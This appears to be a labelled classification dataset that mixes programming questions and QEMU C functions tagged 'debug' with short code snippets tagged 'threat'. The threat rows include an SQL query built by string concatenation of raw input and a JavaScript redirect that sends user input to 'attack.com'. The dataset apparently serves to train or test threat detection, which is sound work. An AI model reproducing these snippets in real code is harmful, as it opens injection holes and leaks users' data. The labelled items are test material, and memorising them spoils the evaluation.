problem
stringlengths 26
131k
| labels
class label 2
classes |
|---|---|
connection.query('SELECT * FROM users WHERE username = ' + input_string)
| 1threat
|
Player and Blocks collision (Terraria) : <p>I am creating a game like Terraria. I already have a player and I can place blocks and delete them by clicking on an existing block. But I can´t figure out how to make player and block collision. I want to create physics like in terraria. Can you help me somehow?
Here are my 3 classes (I have 4 but the 4. class is only JFrame class):</p>
<p>Here is my Main Class (gameloop): </p>
<pre><code>package Package;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.Graphics;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.util.ArrayList;
import javax.swing.JPanel;
import javax.swing.Timer;
public class Game extends JPanel implements ActionListener, MouseListener, KeyListener {
Timer gameLoop = new Timer(5, this);
private static final long serialVersionUID = 1L;
public static final int WIDTH = 1500;
public static final int HEIGHT = 900;
public static final Dimension windowSize = new Dimension(WIDTH, HEIGHT);
Player player = new Player();
public static ArrayList<Block> blocks = new ArrayList<Block>();
private int xDistance;
private int yDistance;
public Game() {
setPreferredSize(windowSize);
setFocusable(true);
addMouseListener(this);
addKeyListener(this);
setBackground(Color.WHITE);
for (int i = 0; i < Game.WIDTH; i += 50) {
for (int j = Game.HEIGHT - 150; j < Game.HEIGHT; j += 50) {
blocks.add(new Block(i, j));
}
}
start();
}
public void start() {
gameLoop.start();
}
public void stop() {
gameLoop.stop();
}
public void paint(Graphics g) {
for (Block b : blocks) {
b.render(g);
}
player.render(g);
}
public void actionPerformed(ActionEvent e) {
player.move();
player.offScreen();
repaint();
}
public void mouseClicked(MouseEvent e) {}
public void mousePressed(MouseEvent e) {
int mouseX = e.getX();
int mouseY = e.getY();
boolean foundBlock = false;
xDistance = mouseX % 50;
yDistance = mouseY % 50;
for (Block b : blocks) {
if (b.x == mouseX - xDistance && b.y == mouseY - yDistance) {
if (mouseX >= player.x - 150 && mouseX <= player.x + 200 && mouseY >= player.y - 150 && mouseY <= player.y + 250) {
blocks.remove(b);
foundBlock = true;
break;
}
}
}
if (foundBlock == false) {
if (mouseX >= player.x - 150 && mouseX <= player.x + 200 && mouseY >= player.y - 150 && mouseY <= player.y + 250) {
blocks.add(new Block(mouseX - xDistance, mouseY - yDistance));
}
}
}
public void mouseReleased(MouseEvent e) {}
public void mouseEntered(MouseEvent e) {}
public void mouseExited(MouseEvent e) {}
public void keyTyped(KeyEvent e) {}
public void keyPressed(KeyEvent e) {
int arrows = e.getKeyCode();
if (arrows == KeyEvent.VK_D) {
player.xSpeed = 2;
}
if (arrows == KeyEvent.VK_A) {
player.xSpeed = -2;
}
}
public void keyReleased(KeyEvent e) {
int arrows = e.getKeyCode();
if (arrows == KeyEvent.VK_D) {
player.xSpeed = 0;
}
if (arrows == KeyEvent.VK_A) {
player.xSpeed = 0;
}
}
}
</code></pre>
<p>Here is my Player class:</p>
<pre><code>package Package;
import java.awt.Color;
import java.awt.Graphics;
public class Player {
public int x = 14 * 50;
public int y = Game.HEIGHT - (5 * 50);
public int xSpeed = 0;
public int ySpeed = 0;
public boolean jump = false;
public int ticks = 6;
public void render(Graphics g) {
g.setColor(Color.BLACK);
g.fillRect(x, y, 50, 100);
}
public void move() {
x += xSpeed;
y += ySpeed;
}
public void offScreen() {
if (x <= 0) {
xSpeed = 0;
} else if (x + 50 >= Game.WIDTH) {
xSpeed = 0;
}
}
}
</code></pre>
<p>Here is my Block Class:</p>
<pre><code>package Package;
import java.awt.Color;
import java.awt.Graphics;
public class Block {
public int x;
public int y;
public Block(int x, int y) {
this.x = x;
this.y = y;
}
public void render(Graphics g) {
g.setColor(Color.GRAY);
g.fillRect(x, y, 50, 50);
g.setColor(Color.BLACK);
g.drawRect(x, y, 50, 50);
}
}
</code></pre>
| 0debug
|
Not sure what display to use for this layout : <p>I'm attempting to create a layout that I want to flex but the important aspect is that its keeps this consistent spacing between each div / image. I started to use bootstrap but I thought maybe it needed to be more custom. I realized you cannot use display:table with display:flex. </p>
<p>Expert css ppl what do you recommend?<a href="https://i.stack.imgur.com/kLI0W.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/kLI0W.jpg" alt="enter image description here"></a></p>
| 0debug
|
Templated function is not able to multiply a value with -1 : <p>Watch at the following simple code, <br>
Compiling it with the command <code>g++ -std=c++14 -g -O2 CODE.cpp</code> <br> produces the strange Output : </p>
<p><code>Why this ?? -2147483648</code></p>
<pre><code># include<bits/stdc++.h>
using namespace std;
# define pc(x) putchar(x)
template <class T>
inline void pd(T num, char ch = ' '){
num = -num;
cout << "Why this ?? " << num << endl;
}
int main(void){
pd(INT_MIN);
return 0;
}
</code></pre>
<p>Please explain this behavior !!</p>
| 0debug
|
static int quorum_open(BlockDriverState *bs, QDict *options, int flags,
Error **errp)
{
BDRVQuorumState *s = bs->opaque;
Error *local_err = NULL;
QemuOpts *opts;
bool *opened;
QDict *sub = NULL;
QList *list = NULL;
const QListEntry *lentry;
int i;
int ret = 0;
qdict_flatten(options);
qdict_extract_subqdict(options, &sub, "children.");
qdict_array_split(sub, &list);
if (qdict_size(sub)) {
error_setg(&local_err, "Invalid option children.%s",
qdict_first(sub)->key);
ret = -EINVAL;
goto exit;
}
s->num_children = qlist_size(list);
if (s->num_children < 2) {
error_setg(&local_err,
"Number of provided children must be greater than 1");
ret = -EINVAL;
goto exit;
}
opts = qemu_opts_create(&quorum_runtime_opts, NULL, 0, &error_abort);
qemu_opts_absorb_qdict(opts, options, &local_err);
if (local_err) {
ret = -EINVAL;
goto exit;
}
s->threshold = qemu_opt_get_number(opts, QUORUM_OPT_VOTE_THRESHOLD, 0);
ret = quorum_valid_threshold(s->threshold, s->num_children, &local_err);
if (ret < 0) {
goto exit;
}
if (qemu_opt_get_bool(opts, QUORUM_OPT_BLKVERIFY, false) &&
s->num_children == 2 && s->threshold == 2) {
s->is_blkverify = true;
} else if (qemu_opt_get_bool(opts, QUORUM_OPT_BLKVERIFY, false)) {
fprintf(stderr, "blkverify mode is set by setting blkverify=on "
"and using two files with vote_threshold=2\n");
}
s->rewrite_corrupted = qemu_opt_get_bool(opts, QUORUM_OPT_REWRITE, false);
if (s->rewrite_corrupted && s->is_blkverify) {
error_setg(&local_err,
"rewrite-corrupted=on cannot be used with blkverify=on");
ret = -EINVAL;
goto exit;
}
s->bs = g_new0(BlockDriverState *, s->num_children);
opened = g_new0(bool, s->num_children);
for (i = 0, lentry = qlist_first(list); lentry;
lentry = qlist_next(lentry), i++) {
QDict *d;
QString *string;
switch (qobject_type(lentry->value))
{
case QTYPE_QDICT:
d = qobject_to_qdict(lentry->value);
QINCREF(d);
ret = bdrv_open(&s->bs[i], NULL, NULL, d, flags, NULL,
&local_err);
break;
case QTYPE_QSTRING:
string = qobject_to_qstring(lentry->value);
ret = bdrv_open(&s->bs[i], NULL, qstring_get_str(string), NULL,
flags, NULL, &local_err);
break;
default:
error_setg(&local_err, "Specification of child block device %i "
"is invalid", i);
ret = -EINVAL;
}
if (ret < 0) {
goto close_exit;
}
opened[i] = true;
}
g_free(opened);
goto exit;
close_exit:
for (i = 0; i < s->num_children; i++) {
if (!opened[i]) {
continue;
}
bdrv_unref(s->bs[i]);
}
g_free(s->bs);
g_free(opened);
exit:
if (local_err) {
error_propagate(errp, local_err);
}
QDECREF(list);
QDECREF(sub);
return ret;
}
| 1threat
|
window.location.href = 'http://attack.com?user=' + user_input;
| 1threat
|
Is it possible to install Visual Studio in a Windows Container : <p>Is it possible to install any version of Visual Studio in a <a href="https://docs.microsoft.com/sv-se/virtualization/windowscontainers/quick-start/quick-start-windows-server" rel="noreferrer">Windows Container</a> on a Windows Server?</p>
<p>The motivation is to use Windows Containers for building software in continuous integration systems, so that the build environment is standardized.</p>
| 0debug
|
How can I emulate the jQuery $ selector in pure javascript? : <p>Using the jQuery $ selector makes getting DOM elements a lot easier. I want to be able to replicate this selector in plain javascript. How would I do this?</p>
<p>Note: I do not want to replace all instancew of <code>$('')</code>in my code with <code>document.querySelector()</code>, rather, I want to define <code>$</code> as a function.</p>
| 0debug
|
Import methods difference : <p>Is this import method:</p>
<pre><code>import x
import y
</code></pre>
<p>different from this?</p>
<pre><code>import x, y
</code></pre>
<p>Which import method should I prefer?</p>
| 0debug
|
How would I replace these icons with text instead? : <p>I'd like to have 3 letter acronyms in the circles instead of icons. Here is the <a href="https://codepen.io/hadarweiss/pen/WvEXeK" rel="nofollow noreferrer">CodePen link</a>. </p>
<pre><code>%nav.menu
%input#menu-toggler.menu-toggler{:type => "checkbox", :checked => "checked"}
%label{:for => "menu-toggler"}
%ul
%li.menu-item
%a.fa.fa-facebook{:href => "https://www.facebook.com/", :target => "_blank"}
%li.menu-item
%a.fa.fa-google{:href => "https://www.google.com/", :target => "_blank"}
%li.menu-item
%a.fa.fa-dribbble{:href => "https://dribbble.com/", :target => "_blank"}
%li.menu-item
%a.fa.fa-codepen{:href => "https://codepen.io/", :target => "_blank"}
%li.menu-item
%a.fa.fa-linkedin{:href => "https://www.linkedin.com/", :target => "_blank"}
%li.menu-item
%a.fa.fa-github{:href => "https://github.com/", :target => "_blank"}
%li.menu-item
%a.fa.fa-github{:href => "https://github.com/", :target => "_blank"}
</code></pre>
| 0debug
|
How to assign an overloaded class method to anonymous method? : <p>In Delphi, we can assign a class method (declared as <code>procedure of object</code>) as parameter of type anonymous method.</p>
<p>For overloaded methods (same method names), passing the object method fail with compilation error:</p>
<pre><code>[dcc32 Error] Project56.dpr(40): E2010 Incompatible types: 'System.SysUtils.TProc<System.Integer,System.Integer>' and 'Procedure of object'
</code></pre>
<p>The following example show the situation. Is that possible to let the overloaded method pass as anonymous method parameter?</p>
<pre><code>type
TTest = class
public
procedure M(a: Integer); overload;
procedure M(a, b: Integer); overload;
end;
procedure TTest.M(a, b: Integer);
begin
WriteLn(a, b);
end;
procedure TTest.M(a: Integer);
begin
WriteLn(a);
end;
procedure DoTask1(Proc: TProc<Integer>);
begin
Proc(100);
end;
procedure DoTask2(Proc: TProc<Integer,Integer>);
begin
Proc(100, 200);
end;
begin
var o := TTest.Create;
DoTask1(o.M); // <-- Success
DoTask2(o.M); // <-- Fail to compile: E2010 Incompatible types: 'System.SysUtils.TProc<System.Integer,System.Integer>' and 'Procedure of object'
ReadLn;
end.
</code></pre>
| 0debug
|
Share App application shortcut [UIApplicationShortcutIconTypeShare] : <p>I've seen a lot of apps use the <code>UIApplicationShortcutIconTypeShare</code> application shortcut to share their app right from the home screen. It launches a UIActivityViewController right from the home screen without opening the app. How do you do that?</p>
| 0debug
|
static void scsi_read_data(SCSIRequest *req)
{
SCSIDiskReq *r = DO_UPCAST(SCSIDiskReq, req, req);
SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev);
bool first;
DPRINTF("Read sector_count=%d\n", r->sector_count);
if (r->sector_count == 0) {
scsi_req_complete(&r->req, GOOD);
return;
}
assert(r->req.aiocb == NULL);
scsi_req_ref(&r->req);
if (r->req.cmd.mode == SCSI_XFER_TO_DEV) {
DPRINTF("Data transfer direction invalid\n");
scsi_read_complete(r, -EINVAL);
return;
}
if (s->tray_open) {
scsi_read_complete(r, -ENOMEDIUM);
return;
}
first = !r->started;
r->started = true;
if (first && r->need_fua_emulation) {
block_acct_start(blk_get_stats(s->qdev.conf.blk), &r->acct, 0,
BLOCK_ACCT_FLUSH);
r->req.aiocb = blk_aio_flush(s->qdev.conf.blk, scsi_do_read_cb, r);
} else {
scsi_do_read(r, 0);
}
}
| 1threat
|
Limit Tensorflow CPU and Memory usage : <p>I've seen several questions about GPU Memory with Tensorflow but I've installed it on a Pine64 with no GPU support.</p>
<p>That means I'm running it with very limited resources (CPU and RAM only) and Tensorflow seems to want it all, completely freezing my machine.</p>
<p><br></p>
<p>Is there a way to limit the amount of processing power and memory allocated to Tensorflow? Something similar to bazel's own <code>--local_resources</code> flag?</p>
| 0debug
|
python 2 into python 3 : Hello I am just beginner, and run into problem while trying some codes:
os_name = os_info.Name.encode('utf-8').split('|')[0]
Error:
a bytes-like object is required, not 'str'
I found out that there could be problem that I use Python3.7
Could not contact owner of the code, due to lack of "reputation" (new acc), so I am posting it here.
| 0debug
|
How to mock an activatedRoute parent Route in angular2 for testing purposes? : <p>Let's say I have this</p>
<pre><code>export class QuestionnaireQuestionsComponent {
questions: Question[] = [];
private loading:boolean = true;
constructor(
private route: ActivatedRoute,
public questionnaireService:QuestionnaireService) {}
ngOnInit(){
this.route.parent.params.subscribe((params:any)=>{
this.questionnaireService.getQuestionsForQuestionnaire(params.id).subscribe((questions)=>{
this.questions = questions;
this.loading = false;
});
});
}
}
</code></pre>
<p>My component is actually working pretty well. Problem is that I want to unit test it but I can't figure out how to mock the <code>this.route.parent</code> object. Here's my test that fails</p>
<pre><code>beforeEach(()=>{
route = new ActivatedRoute();
route.parent.params = Observable.of({id:"testId"});
questionnaireService = jasmine.createSpyObj('QuestionnaireService', ['getQuestionsForQuestionnaire']);
questionnaireService.getQuestionsForQuestionnaire.and.callFake(() => Observable.of(undefined));
component = new QuestionnaireQuestionsComponent(route, questionnaireService);
});
describe("on init", ()=>{
it("must call the service get questions for questionnaire",()=>{
component.ngOnInit();
expect(questionnaireService.getQuestionsForQuestionnaire).toHaveBeenCalled();
});
});
</code></pre>
<p>The test fails with this error </p>
<pre><code>TypeError: undefined is not an object (evaluating 'this._routerState.parent')
</code></pre>
| 0debug
|
How to make chrome devtools to recognise moment.js : <p>I am working on <code>ionic2</code> project. I have just start using <code>moment.js</code> but I have a weird issue.
I have installed in via npm: <code>npm install moment -S</code>.</p>
<p>Then I have used it in my code: </p>
<pre><code>import moment from 'moment'
...
let x = moment()
debugger
</code></pre>
<p>On the console I get this funny issue:</p>
<pre><code>> x
< Moment {_isAMomentObject: true, _isUTC: false, _pf: {…}, _locale: Locale, _d: Wed Jun 27 2018 12:06:23, …}
> y = moment()
< VM770:1 Uncaught ReferenceError: moment is not defined
at eval (eval at Phase (phase.ts:13), <anonymous>:1:1)
at new Phase (phase.ts:13)
at new Stage (stage.ts:10)
at new HomePage (home.ts:39)
at createClass (core.es5.js:10795)
at createDirectiveInstance (core.es5.js:10621)
at createViewNodes (core.es5.js:11971)
at createRootView (core.es5.js:11876)
at callWithDebugContext (core.es5.js:13007)
at Object.debugCreateRootView [as createRootView] (core.es5.js:12468)
</code></pre>
<p>Why can't I work with moment within the console?</p>
| 0debug
|
Use window.open but block use of window.opener : <p>A while back I ran across an <a href="https://dev.to/ben/the-targetblank-vulnerability-by-example" rel="noreferrer">interesting security hole</a></p>
<pre><code><a href="http://someurl.here" target="_blank">Link</a>
</code></pre>
<p>Looks innocuous enough, but there's a hole because, by default, the page that's being opened is allowing the opened page to call back into it via <code>window.opener</code>. There are some restrictions, being cross-domain, but there's still some mischief that can be done</p>
<pre><code>window.opener.location = 'http://gotcha.badstuff';
</code></pre>
<p>Now, HTML has a workaround</p>
<pre><code><a href="http://someurl.here" target="_blank" rel="noopener noreferrer">Link</a>
</code></pre>
<p>That prevents the new window from having <code>window.opener</code> passed to it. That's fine and good for HTML, but what if you're using <code>window.open</code>?</p>
<pre><code><button type="button" onclick="window.open('http://someurl.here', '_blank');">
Click Me
</button>
</code></pre>
<p>How would you block the use of <code>window.opener</code> being passed here?</p>
| 0debug
|
Half view overlay in another view with stack animation - android : I tried bottomsheet to replicate this.But background layout not zoom out.
[![View overlay stack animation][1]][1]
I tried following code. any library available ?
public class MainActivity extends AppCompatActivity implements CollapsibleCalendarView.Listener<Event> {
private CollapsibleCalendarView mCalendarView;
private ListView mListView;
private EventListAdapter mAdapter;
private RelativeLayout layout;
private BottomSheetBehavior behavior;
private View bottomSheet;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mCalendarView = (CollapsibleCalendarView) findViewById(R.id.calendar);
mListView = (ListView) findViewById(R.id.calendar_event_list);
mCalendarView.setListener(this);
mCalendarView.addEvents(getEvents());
bottomSheet = findViewById(R.id.design_bottom_sheet);
behavior = BottomSheetBehavior.from(bottomSheet);
behavior.setBottomSheetCallback(new BottomSheetBehavior.BottomSheetCallback() {
@Override
public void onStateChanged(@NonNull View bottomSheet, int newState) {
switch (newState) {
case BottomSheetBehavior.STATE_DRAGGING:
Log.i("BottomSheetCallback", "BottomSheetBehavior.STATE_DRAGGING");
break;
case BottomSheetBehavior.STATE_SETTLING:
Log.i("BottomSheetCallback", "BottomSheetBehavior.STATE_SETTLING");
break;
case BottomSheetBehavior.STATE_EXPANDED:
mCalendarView.toggle();
Log.i("BottomSheetCallback", "BottomSheetBehavior.STATE_EXPANDED");
break;
case BottomSheetBehavior.STATE_COLLAPSED:
mCalendarView.toggle();
Log.i("BottomSheetCallback", "BottomSheetBehavior.STATE_COLLAPSED");
break;
case BottomSheetBehavior.STATE_HIDDEN:
Log.i("BottomSheetCallback", "BottomSheetBehavior.STATE_HIDDEN");
break;
}
}
@Override
public void onSlide(@NonNull View bottomSheet, float slideOffset) {
Log.i("BottomSheetCallback", "slideOffset: " + slideOffset);
}
});
Button button = (Button) findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
if (behavior.getState() == BottomSheetBehavior.STATE_COLLAPSED) {
behavior.setState(BottomSheetBehavior.STATE_EXPANDED);
} else {
behavior.setState(BottomSheetBehavior.STATE_COLLAPSED);
}
}
});
}
}
[1]: https://i.stack.imgur.com/f53FM.jpg
| 0debug
|
Create Special offer layout : <p>How can I create a layout that contains the red view on top left corner </p>
<p>See the picture below to have a better idea of what I am seeking for</p>
<p>Thank you
<a href="https://i.stack.imgur.com/GBgN9.png" rel="nofollow noreferrer">enter image description here</a></p>
| 0debug
|
Disable Google Chrome Autocomplete / Autofill / Suggestion : <p>I want to disable google chrome autocomplete / autofill / <em>use password suggestion</em><br /> Something similar with autocomplete="off" (this one is not working). <br /><br /></p>
<p>The code is as following <br /></p>
<p><strong>loginpage.php</strong> <br /></p>
<pre><code><form class="form-method" method="post">
<span class="form-fill">
<text>Username</text>
<input placeholder="Username" required/>
<text>Password</text>
<input type="password" placeholder="Password" required/>
<button type="submit"></button>
</span>
</form>
</code></pre>
<p><strong>anotherform.php</strong> <br /></p>
<pre><code><form method="REQUEST" class="vp-method">
<input type="password" maxlength="4" autocomplete="JUST STOP!"/>
<button type="submit" placeholder="DVN Number">Validate</button>
</form>
</code></pre>
<p><br /></p>
<p>How to disable this google chrome autocomplete / suggestion / autofill WITHOUT using javascript?</p>
<p>Note : I'm aware of duplicating question. And none of those suggestion is working (as I'm typing right now).</p>
<p>Thank you :)</p>
| 0debug
|
void aio_bh_call(QEMUBH *bh)
{
bh->cb(bh->opaque);
}
| 1threat
|
static void vfio_probe_nvidia_bar5_quirk(VFIOPCIDevice *vdev, int nr)
{
VFIOQuirk *quirk;
VFIONvidiaBAR5Quirk *bar5;
VFIOConfigWindowQuirk *window;
if (!vfio_pci_is(vdev, PCI_VENDOR_ID_NVIDIA, PCI_ANY_ID) ||
!vdev->has_vga || nr != 5) {
return;
}
quirk = g_malloc0(sizeof(*quirk));
quirk->mem = g_new0(MemoryRegion, 4);
quirk->nr_mem = 4;
bar5 = quirk->data = g_malloc0(sizeof(*bar5) +
(sizeof(VFIOConfigWindowMatch) * 2));
window = &bar5->window;
window->vdev = vdev;
window->address_offset = 0x8;
window->data_offset = 0xc;
window->nr_matches = 2;
window->matches[0].match = 0x1800;
window->matches[0].mask = PCI_CONFIG_SPACE_SIZE - 1;
window->matches[1].match = 0x88000;
window->matches[1].mask = PCIE_CONFIG_SPACE_SIZE - 1;
window->bar = nr;
window->addr_mem = bar5->addr_mem = &quirk->mem[0];
window->data_mem = bar5->data_mem = &quirk->mem[1];
memory_region_init_io(window->addr_mem, OBJECT(vdev),
&vfio_generic_window_address_quirk, window,
"vfio-nvidia-bar5-window-address-quirk", 4);
memory_region_add_subregion_overlap(&vdev->bars[nr].region.mem,
window->address_offset,
window->addr_mem, 1);
memory_region_set_enabled(window->addr_mem, false);
memory_region_init_io(window->data_mem, OBJECT(vdev),
&vfio_generic_window_data_quirk, window,
"vfio-nvidia-bar5-window-data-quirk", 4);
memory_region_add_subregion_overlap(&vdev->bars[nr].region.mem,
window->data_offset,
window->data_mem, 1);
memory_region_set_enabled(window->data_mem, false);
memory_region_init_io(&quirk->mem[2], OBJECT(vdev),
&vfio_nvidia_bar5_quirk_master, bar5,
"vfio-nvidia-bar5-master-quirk", 4);
memory_region_add_subregion_overlap(&vdev->bars[nr].region.mem,
0, &quirk->mem[2], 1);
memory_region_init_io(&quirk->mem[3], OBJECT(vdev),
&vfio_nvidia_bar5_quirk_enable, bar5,
"vfio-nvidia-bar5-enable-quirk", 4);
memory_region_add_subregion_overlap(&vdev->bars[nr].region.mem,
4, &quirk->mem[3], 1);
QLIST_INSERT_HEAD(&vdev->bars[nr].quirks, quirk, next);
trace_vfio_quirk_nvidia_bar5_probe(vdev->vbasedev.name);
}
| 1threat
|
Get the width of the parent layout : <pre><code>Android Studio 2.0 beta 6
</code></pre>
<p>I am trying to use ViewPropertyAnimator to move a <code>ImageView (ivSettings)</code> inside a toolbar so that it is 20dp from the right and 20dp from the top, from is current location. And move the <code>ImageView (ivSearch)</code> 20dp from the left and top.</p>
<p>The imageViews are contained in a <code>Toolbar</code>.</p>
<p>This is the initial state and I want to move the icons into the upper corners inside the toolbar.</p>
<p><a href="https://i.stack.imgur.com/H01bh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/H01bh.png" alt="enter image description here"></a></p>
<p>The code I am using is this to get the width and then subtract a value to get the ivSettings to be 20dp from the right.</p>
<pre><code>final DisplayMetrics displayMetrics = new DisplayMetrics();
getActivity().getWindowManager().getDefaultDisplay().getMetrics(displayMetrics);
final float widthPx = displayMetrics.widthPixels;
ivSearch.animate()
.setInterpolator(new AccelerateInterpolator())
.x(20)
.y(20)
.setDuration(250)
.start();
ivSettings.animate()
.setInterpolator(new AccelerateInterpolator())
.x(widthPx - 160)
.y(20)
.setDuration(250)
.start();
</code></pre>
<p>However, having tried this on different screen size I can't get the exact width calculation. Is there a better way of doing this?</p>
<p>Many thanks for any suggestions</p>
| 0debug
|
static void imx_serial_write(void *opaque, hwaddr offset,
uint64_t value, unsigned size)
{
IMXSerialState *s = (IMXSerialState *)opaque;
unsigned char ch;
DPRINTF("write(offset=0x%" HWADDR_PRIx ", value = 0x%x) to %s\n",
offset, (unsigned int)value, s->chr ? s->chr->label : "NODEV");
switch (offset >> 2) {
case 0x10:
ch = value;
if (s->ucr2 & UCR2_TXEN) {
if (s->chr) {
qemu_chr_fe_write(s->chr, &ch, 1);
}
s->usr1 &= ~USR1_TRDY;
imx_update(s);
s->usr1 |= USR1_TRDY;
imx_update(s);
}
break;
case 0x20:
s->ucr1 = value & 0xffff;
DPRINTF("write(ucr1=%x)\n", (unsigned int)value);
imx_update(s);
break;
case 0x21:
if (!(value & UCR2_SRST)) {
imx_serial_reset(s);
imx_update(s);
value |= UCR2_SRST;
}
if (value & UCR2_RXEN) {
if (!(s->ucr2 & UCR2_RXEN)) {
if (s->chr) {
qemu_chr_accept_input(s->chr);
}
}
}
s->ucr2 = value & 0xffff;
break;
case 0x25:
value &= USR1_AWAKE | USR1_AIRINT | USR1_DTRD | USR1_AGTIM |
USR1_FRAMERR | USR1_ESCF | USR1_RTSD | USR1_PARTYER;
s->usr1 &= ~value;
break;
case 0x26:
value &= USR2_ADET | USR2_DTRF | USR2_IDLE | USR2_ACST |
USR2_RIDELT | USR2_IRINT | USR2_WAKE |
USR2_DCDDELT | USR2_RTSF | USR2_BRCD | USR2_ORE;
s->usr2 &= ~value;
break;
case 0x29:
s->ubrc = value & 0xffff;
break;
case 0x2a:
s->ubmr = value & 0xffff;
break;
case 0x2c:
s->onems = value & 0xffff;
break;
case 0x24:
s->ufcr = value & 0xffff;
break;
case 0x22:
s->ucr3 = value & 0xffff;
break;
case 0x2d:
case 0x23:
qemu_log_mask(LOG_UNIMP, "[%s]%s: Unimplemented reg 0x%"
HWADDR_PRIx "\n", TYPE_IMX_SERIAL, __func__, offset);
break;
default:
qemu_log_mask(LOG_GUEST_ERROR, "[%s]%s: Bad register at offset 0x%"
HWADDR_PRIx "\n", TYPE_IMX_SERIAL, __func__, offset);
}
}
| 1threat
|
Add some date to Struct then put this into template GOLANG : > i have a file controllers/catalog.go it's a hendlers
func Catalog(w http.ResponseWriter, r *http.Request) {
if r.Method != "GET" {
http.Error(w, http.StatusText(405), http.StatusMethodNotAllowed)
return
}
categories, err := models.GetCategories()
if err != nil {
http.Error(w, http.StatusText(500), http.StatusInternalServerError)
return
}
fmt.Print(categories)
config.TPL.ExecuteTemplate(w, "catalog.html", categories)
}
> and models/getcategories.go
type Cat_tree struct {
Cat_id int
Parent_id int
Cat_name string
}
func GetCategories() ([]Cat_tree, error) {
rows, err := config.DB.Query("SELECT cat_id, parent_id, cat_name FROM categories WHERE active = true ORDER BY Parent_id ASC")
if err != nil {
return nil, err
}
defer rows.Close()
categories := make([]Cat_tree, 0)
for rows.Next() {
cat := Cat_tree{}
err := rows.Scan(&cat.Cat_id, &cat.Parent_id, &cat.Cat_name)
if err != nil {
return nil, err
}
categories = append(categories, cat)
}
if err = rows.Err(); err != nil {
return nil, err
}
return categories, nil
}
How i can add some data to a **categories** page Title for example
Now in template like this
{{range .}}
<p><a href="/show?getinfo={{ .Cat_id}}">{{ .Cat_id}}</a> - {{ .Parent_id}} - {{ .Cat_name}} <a href="/show?getinfo={{ .Cat_id}}">Показать</a>
{{end}}
i'd like to add some `{{Title}}`
| 0debug
|
static int qemu_gluster_reopen_prepare(BDRVReopenState *state,
BlockReopenQueue *queue, Error **errp)
{
int ret = 0;
BDRVGlusterReopenState *reop_s;
GlusterConf *gconf = NULL;
int open_flags = 0;
assert(state != NULL);
assert(state->bs != NULL);
state->opaque = g_malloc0(sizeof(BDRVGlusterReopenState));
reop_s = state->opaque;
qemu_gluster_parse_flags(state->flags, &open_flags);
gconf = g_malloc0(sizeof(GlusterConf));
reop_s->glfs = qemu_gluster_init(gconf, state->bs->filename, errp);
if (reop_s->glfs == NULL) {
ret = -errno;
goto exit;
}
reop_s->fd = glfs_open(reop_s->glfs, gconf->image, open_flags);
if (reop_s->fd == NULL) {
ret = -errno;
goto exit;
}
exit:
qemu_gluster_gconf_free(gconf);
return ret;
}
| 1threat
|
static int css_interpret_ccw(SubchDev *sch, hwaddr ccw_addr,
bool suspend_allowed)
{
int ret;
bool check_len;
int len;
CCW1 ccw;
if (!ccw_addr) {
return -EIO;
}
if (ccw_addr & (sch->ccw_fmt_1 ? 0x80000007 : 0xff000007)) {
return -EINVAL;
}
ccw = copy_ccw_from_guest(ccw_addr, sch->ccw_fmt_1);
if ((ccw.cmd_code & 0x0f) == 0) {
return -EINVAL;
}
if (((ccw.cmd_code & 0x0f) == CCW_CMD_TIC) &&
((ccw.cmd_code & 0xf0) != 0)) {
return -EINVAL;
}
if (!sch->ccw_fmt_1 && (ccw.count == 0) &&
(ccw.cmd_code != CCW_CMD_TIC)) {
return -EINVAL;
}
if (ccw.flags & CCW_FLAG_MIDA) {
return -EINVAL;
}
if (ccw.flags & CCW_FLAG_SUSPEND) {
return suspend_allowed ? -EINPROGRESS : -EINVAL;
}
check_len = !((ccw.flags & CCW_FLAG_SLI) && !(ccw.flags & CCW_FLAG_DC));
if (!ccw.cda) {
if (sch->ccw_no_data_cnt == 255) {
return -EINVAL;
}
sch->ccw_no_data_cnt++;
}
switch (ccw.cmd_code) {
case CCW_CMD_NOOP:
ret = 0;
break;
case CCW_CMD_BASIC_SENSE:
if (check_len) {
if (ccw.count != sizeof(sch->sense_data)) {
ret = -EINVAL;
break;
}
}
len = MIN(ccw.count, sizeof(sch->sense_data));
cpu_physical_memory_write(ccw.cda, sch->sense_data, len);
sch->curr_status.scsw.count = ccw.count - len;
memset(sch->sense_data, 0, sizeof(sch->sense_data));
ret = 0;
break;
case CCW_CMD_SENSE_ID:
{
SenseId sense_id;
copy_sense_id_to_guest(&sense_id, &sch->id);
if (check_len) {
if (ccw.count != sizeof(sense_id)) {
ret = -EINVAL;
break;
}
}
len = MIN(ccw.count, sizeof(sense_id));
if (len >= 4) {
sense_id.reserved = 0xff;
} else {
sense_id.reserved = 0;
}
cpu_physical_memory_write(ccw.cda, &sense_id, len);
sch->curr_status.scsw.count = ccw.count - len;
ret = 0;
break;
}
case CCW_CMD_TIC:
if (sch->last_cmd_valid && (sch->last_cmd.cmd_code == CCW_CMD_TIC)) {
ret = -EINVAL;
break;
}
if (ccw.flags & (CCW_FLAG_CC | CCW_FLAG_DC)) {
ret = -EINVAL;
break;
}
sch->channel_prog = ccw.cda;
ret = -EAGAIN;
break;
default:
if (sch->ccw_cb) {
ret = sch->ccw_cb(sch, ccw);
} else {
ret = -ENOSYS;
}
break;
}
sch->last_cmd = ccw;
sch->last_cmd_valid = true;
if (ret == 0) {
if (ccw.flags & CCW_FLAG_CC) {
sch->channel_prog += 8;
ret = -EAGAIN;
}
}
return ret;
}
| 1threat
|
Python Compare two lists and return matches of same number in same order in a more pythonic way : looking for a more pythonic way for determining if the elements of my two lists are in the same order. I have sliced the two lists and turned the elements into d1 etc as below. Cant use sets only want to know if the Nth of list1 == Nth list2
x = []
if d1 == r1:
print ('got one')
x = x + 1
if d2 == r2:
print ('got one')
x = x + 1
if d3 == r3:
print ('got one')
x = x + 1
if d4 == r4:
print ('got one')
x =x + 1
| 0debug
|
Get index of an Element in two List located at same position : I want to get position of two elements 1 and A if they are located at same position.
E.g List one has elements {1,1,3,1,5}
List two has elements {Q,B,Z,A,c}
output should be 3.
